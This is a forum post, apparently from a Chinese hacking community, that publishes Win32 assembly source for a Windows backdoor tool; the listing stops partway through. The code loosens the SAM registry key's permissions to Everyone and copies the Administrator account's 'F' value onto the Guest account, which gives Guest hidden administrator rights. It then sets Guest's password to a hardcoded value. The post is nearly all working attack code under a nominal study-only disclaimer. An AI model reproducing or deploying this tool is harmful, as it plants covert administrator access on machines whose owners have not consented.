[原创]Win32汇编版 Guest 帐号克隆工具

文章作者:taiwansee
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

刚学WIN32汇编不久。。写了个把guest克隆成1f4帐号的小程序。。
在2000/xp/2003/2008 RC0 上测试成功。。
现开放源代码,发现bug请跟贴。。
注意:本文中的代码只做技术学习讨论,不可用作非法用途。
Code Language : ASM
  1. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  2. ;    Win32汇编版 Guest帐号克隆工具
  3. ;
  4. ;        By taiwansee  2007-11-10  
  5. ;
  6. ; 使用 nmake 或下列命令进行编译和链接:
  7. ; ml /c /coff Clone.asm
  8. ; Link /subsystem:windows Clone.obj
  9. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  10.     .386
  11.     .model flat, stdcall
  12.     option casemap :none
  13. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  14. ; Include 文件定义
  15. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  16. include    windows.inc
  17. include    user32.inc
  18. includelib  user32.lib
  19. include    kernel32.inc
  20. includelib  kernel32.lib
  21. include    advapi32.inc
  22. includelib  advapi32.lib
  23. include    netapi32.inc
  24. includelib  netapi32.lib
  25.  
  26. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  27. ; 数据段
  28. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  29.     .const
  30. DEBUG   equ    0
  31.  
  32. HKLM   equ    HKEY_LOCAL_MACHINE
  33.  
  34. if DEBUG
  35. NERR_SUCCESS equ    0
  36. endif
  37.  
  38.     .data?
  39. stExplicitAccess  EXPLICIT_ACCESS    <>
  40. stUserInfo    USER_INFO_1003    <>
  41. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  42. ; 数据段
  43. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  44.     .data
  45. if DEBUG
  46. szCaption  db  'Debug info......',0
  47. szFailed  db  'Open Subkey Failed!!!',0
  48. szSuccess  db  'Open Subkey Success!!!',0
  49. szCloseSuccess  db  'Close Subkey Success!!!',0
  50. szCloseFailed  db  'Close Subkey Failed!!!',0
  51.  
  52. szQueryValueSuccess  db  'Query Value Success!!!',0
  53. szQueryValueFailed  db  'Query Value Failed!!!',0
  54. szSetValueSuccess  db  'Set Value Success!!!',0
  55. szSetValueFailed  db  'Set Value Failed!!!',0
  56.  
  57. szGetNamedSecurityInfoSuccess  db  'Get Named Security Info Success!!!',0
  58. szGetNamedSecurityInfoFailed  db  'Get Named Security Info Failed!!!',0
  59.  
  60. szSetEntriesInAclSuccess  db  'Set Entries In Acl Success!!!',0
  61. szSetEntriesInAclFailed    db  'Set Entries In Acl Failed!!!',0
  62.  
  63. szSetNamedSecurityInfoSuccess  db  'Set Named Security Info Success!!!',0
  64. szSetNamedSecurityInfoFailed  db  'Set Named Security Info Failed!!!',0
  65.  
  66. szLocalFreeFailed1    db  'Local Free @lpSecurityDescriptor Failed!!!',0
  67. szLocalFreeFailed2    db  'Local Free @lpOldDACL Failed!!!',0
  68. szLocalFreeFailed3    db  'Local Free @lpNewDACL Failed!!!',0
  69.  
  70. szNetUserSetInfoSuccess    db  'Net User Set Info Success!!!',0
  71.  
  72. szERROR_ACCESS_DENIED    db  'szERROR_ACCESS_DENIED',0
  73. szNERR_InvalidComputer    db  'szNERR_InvalidComputer',0
  74. szNERR_NotPrimary    db  'szNERR_NotPrimary',0
  75. szNERR_UserNotFound    db  'szNERR_UserNotFound',0
  76. szNERR_PasswordTooShort    db  'szNERR_PasswordTooShort',0
  77. szNetUserChangePasswordSuccess  db  'szNetUserChangePasswordSuccess',0
  78. szNetUserChangePasswordOtherError  db  'szNetUserChangePasswordOtherError',0
  79. szNERR_LastAdmin    db  'szNERR_LastAdmin',0
  80. szNERR_BadPassword    db  'szNERR_BadPassword',0
  81. szNERR_SpeGroupOp    db  'szNERR_SpeGroupOp',0
  82. szBuffer  db  2048 dup(0)
  83.  
  84. szFormat  db  '%d',0
  85. endif
  86.  
  87. szValueName  db  'F',0
  88. szObject  db  'MACHINE\SAM\SAM',0
  89. szAccessUser  db  'Everyone',0
  90. szSystemUser  db  'System',0
  91. szSubKey1  db  'SAM\SAM\Domains\Account\Users\000001F4',0
  92. szSubKey2  db  'SAM\SAM\Domains\Account\Users\000001F5',0
  93. szUserPassword  dw  'E','v','i','l','o','c','t','a','l','2','0','0','7',00
  94. szAccountName  dw  'g','u','e','s','t',00
  95.  
  96. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  97. ; 代码段
  98. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  99.     .code
  100.  
  101.  
  102. _SetAccountPassword  proc
  103.     local  @lpError:dword
  104.     local  @lpNULL:dword
  105.  
  106.     mov  stUserInfo.usri1003_password,offset szUserPassword
  107.     invoke  NetUserSetInfo,NULL,\
  108.             offset szAccountName,\
  109.             1003,\
  110.             offset stUserInfo,\
  111.             NULL
  112.  
  113.  
  114. if DEBUG
  115.     .if  eax==ERROR_ACCESS_DENIED
  116.       invoke  MessageBox,NULL,offset szERROR_ACCESS_DENIED,offset szCaption,MB_OK
  117.     .elseif  eax==NERR_InvalidComputer
  118.       invoke  MessageBox,NULL,offset szNERR_InvalidComputer,offset szCaption,MB_OK
  119.     .elseif  eax==NERR_NotPrimary
  120.       invoke  MessageBox,NULL,offset szNERR_NotPrimary,offset szCaption,MB_OK
  121.     .elseif  eax==NERR_UserNotFound
  122.       invoke  MessageBox,NULL,offset szNERR_UserNotFound,offset szCaption,MB_OK
  123.     .elseif  eax==NERR_PasswordTooShort
  124.       invoke  MessageBox,NULL,offset szNERR_PasswordTooShort,offset szCaption,MB_OK
  125.     .elseif  eax==NERR_SpeGroupOp
  126.       invoke  MessageBox,NULL,offset szNERR_SpeGroupOp,offset szCaption,MB_OK
  127.     .elseif  eax==NERR_BadPassword
  128.       invoke  MessageBox,NULL,offset szNERR_BadPassword,offset szCaption,MB_OK
  129.     .elseif  eax==NERR_LastAdmin
  130.       invoke  MessageBox,NULL,offset szNERR_LastAdmin,offset szCaption,MB_OK
  131.     .elseif  eax==NERR_SUCCESS
  132.       invoke  MessageBox,NULL,offset szNetUserChangePasswordSuccess,offset szCaption,MB_OK
  133.     .else
  134.       invoke  MessageBox,NULL,offset szNetUserChangePasswordOtherError,offset szCaption,MB_OK
  135.     .endif
  136.    
  137. endif  
  138.    
  139.     ret
  140. _SetAccountPassword  endp
  141.  
  142.  
  143. _Clone  proc
  144.     local  @hSubkey1:dword,\
  145.       @hSubkey2:dword,\
  146.       @szBuffer[4096]:byte,\
  147.       @szDataType:dword,\
  148.       @szDataBuffer[4096]:byte,\
  149.       @szDataBufferSize:dword,\
  150.       @lpOldDACL:dword,\
  151.       @lpNewDACL:dword,\
  152.       @lpSecurityDescriptor:dword
  153.  
  154.     pushad
  155.     ;首先获取SAM主键的DACL  
  156.     invoke  GetNamedSecurityInfo,offset szObject,\
  157.              SE_REGISTRY_KEY,\
  158.              DACL_SECURITY_INFORMATION,\
  159.              NULL,\
  160.              NULL,\
  161.              addr @lpOldDACL,\
  162.              NULL,\
  163.              addr @lpSecurityDescriptor
  164.    
  165. if DEBUG
  166.     .if  eax == ERROR_SUCCESS
  167.       invoke  MessageBox,NULL,offset szGetNamedSecurityInfoSuccess,offset szCaption,MB_OK
  168.     .else
  169.       invoke  MessageBox,NULL,offset szGetNamedSecurityInfoFailed,offset szCaption,MB_OK
  170.       jmp @F
  171.     .endif
  172. endif
  173.     ;清空EXPLICIT_ACCESS结构
  174.     invoke  RtlZeroMemory,offset stExplicitAccess,sizeof stExplicitAccess
  175.     ;创建一个ACE,允许Everyone完全控制对象,并允许子对象继承此权限
  176.     mov  esi,offset stExplicitAccess
  177.     assume  esi:ptr EXPLICIT_ACCESS
  178.     mov  [esi].grfAccessPermissions,KEY_ALL_ACCESS
  179.     mov  [esi].grfAccessMode,SET_ACCESS
  180.     mov  [esi].grfInheritance,SUB_CONTAINERS_AND_OBJECTS_INHERIT;允许子对象继承此权限
  181.     mov  [esi].Trustee.pMultipleTrustee,NULL
  182.     mov  [esi].Trustee.MultipleTrusteeOperation,NO_MULTIPLE_TRUSTEE
  183.     mov  [esi].Trustee.TrusteeForm,TRUSTEE_IS_NAME
  184.     mov  [esi].Trustee.TrusteeType,TRUSTEE_IS_GROUP
  185.     mov  [esi].Trustee.ptstrName,offset szAccessUser
  186.  
  187.     ;将新的ACE加入DACL
  188.     invoke  SetEntriesInAcl,1,\
  189.           offset stExplicitAccess,\
  190.           @lpOldDACL,\      
  191.           addr @lpNewDACL    
  192.                
  193.                
  194. if DEBUG
  195.     .if  eax == ERROR_SUCCESS
  196.       invoke  MessageBox,NULL,offset szSetEntriesInAclSuccess,offset szCaption,MB_OK
  197.     .else
  198.       invoke  wsprintf,offset szBuffer,offset szFormat,eax
  199.       invoke  MessageBox,NULL,offset szBuffer,offset szCaption,MB_OK
  200.       invoke  MessageBox,NULL,offset szSetEntriesInAclFailed,offset szCaption,MB_OK
  201.  
  202.       jmp @F
  203.     .endif
  204. endif
  205.     ;更新SAM主键的DACL
  206.     invoke  SetNamedSecurityInfo,offset szObject,\  
  207.              SE_REGISTRY_KEY,\
  208.              DACL_SECURITY_INFORMATION,\
  209.              NULL,\
  210.              NULL,\
  211.              @lpNewDACL,\
  212.              NULL
  213.  
  214. if DEBUG
  215.     .if  eax == ERROR_SUCCESS
  216.       invoke  MessageBox,NULL,offset szSetNamedSecurityInfoSuccess,offset szCaption,MB_OK
  217.     .else
  218.       invoke  MessageBox,NULL,offset szSetNamedSecurityInfoFailed,offset szCaption,MB_OK
  219.       jmp @F
  220.     .endif
  221.  
  222. endif
  223.  
  224.     mov  @szDataBufferSize,sizeof @szDataBuffer
  225.  
  226.     ;打开目标子键1
  227.     invoke  RegOpenKeyEx,HKLM,offset szSubKey1,\
  228.            0,\
  229.            KEY_ALL_ACCESS,\
  230.            addr @hSubkey1
  231. if DEBUG
  232.     .if  eax==ERROR_SUCCESS
  233.       invoke  MessageBox,NULL,offset szSuccess,offset szCaption,MB_OK
  234.     .else
  235.       invoke  MessageBox,NULL,offset szFailed,offset szCaption,MB_OK
  236.       jmp @F
  237.     .endif
  238. endif
  239.     ;打开目标子键2
  240.     invoke  RegOpenKeyEx,HKLM,offset szSubKey2,\
  241.            0,\
  242.            KEY_ALL_ACCESS,\
  243.            addr @hSubkey2
  244. if DEBUG
  245.     .if  eax==ERROR_SUCCESS
  246.       invoke  MessageBox,NULL,offset szSuccess,offset szCaption,MB_OK
  247.     .else
  248.       invoke  MessageBox,NULL,offset szFailed,offset szCaption,MB_OK
  249.       jmp @F
  250.     .endif
  251. endif
  252.     ;查询目标键值1
  253.     invoke  RegQueryValueEx,@hSubkey1,\
  254.           offset szValueName,\
  255.           0,\
  256.           addr @szDataType,\
  257.           addr @szDataBuffer,\
  258.           addr @szDataBufferSize
  259.  
  260. if DEBUG
  261.     .if  eax==ERROR_SUCCESS
  262.       invoke  MessageBox,NULL,offset szQueryValueSuccess,offset szCaption,MB_OK
  263.     .else
  264.       invoke  MessageBox,NULL,offset szQueryValueFailed,offset szCaption,MB_OK
  265.       jmp @F
  266.     .endif
  267.  
  268.     invoke  wsprintf,addr @szBuffer,offset szFormat,@szDataBufferSize
  269.     invoke  MessageBox,NULL,addr @szBuffer,offset szCaption,MB_OK
  270. endif
  271.  
  272.     ;设置目标键值2
  273.     invoke  RegSetValueEx,@hSubkey2,\
  274.            offset szValueName,\
  275.            0,\
  276.            REG_BINARY,\
  277.            addr @szDataBuffer,\
  278.            @szDataBufferSize
  279.  
  280. if DEBUG
  281.     .if  eax==ERROR_SUCCESS
  282.       invoke  MessageBox,NULL,offset szSetValueSuccess,offset szCaption,MB_OK
  283.     .else
  284.       push  eax
  285.       invoke  MessageBox,NULL,offset szSetValueFailed,offset szCaption,MB_OK
  286.       pop  eax
  287.       invoke  wsprintf,offset szBuffer,offset szFormat,eax
  288.       invoke  MessageBox,NULL,offset szBuffer,offset szCaption,MB_OK
  289.       jmp @F
  290.     .endif
  291. endif  
  292.  
  293.     invoke  RegCloseKey,@hSubkey1
  294.     invoke  RegCloseKey,@hSubkey2
  295. if DEBUG
  296.     .if  eax==ERROR_SUCCESS
  297.       invoke  MessageBox,NULL,offset szCloseSuccess,offset szCaption,MB_OK
  298.     .else
  299.       invoke  MessageBox,NULL,offset szCloseFailed,offset szCaption,MB_OK
  300.     .endif
  301. endif
  302.  
  303.     ;恢复原来的DACL,只要修改下用户组即可
  304.    
  305.     mov  [esi].Trustee.ptstrName,offset szSystemUser
  306.     assume  esi:nothing
  307.  
  308.     ;将新的ACE加入DACL
  309.     invoke  SetEntriesInAcl,1,\
  310.           offset stExplicitAccess,\
  311.           NULL,\
  312.           addr @lpOldDACL    
  313. if DEBUG
  314.     .if  eax == ERROR_SUCCESS
  315.       invoke  MessageBox,NULL,offset szSetEntriesInAclSuccess,offset szCaption,MB_OK
  316.     .else
  317.       invoke  wsprintf,offset szBuffer,offset szFormat,eax
  318.       invoke  MessageBox,NULL,offset szBuffer,offset szCaption,MB_OK
  319.       invoke  MessageBox,NULL,offset szSetEntriesInAclFailed,offset szCaption,MB_OK
  320.  
  321.       jmp @F
  322.     .endif
  323. endif
  324. <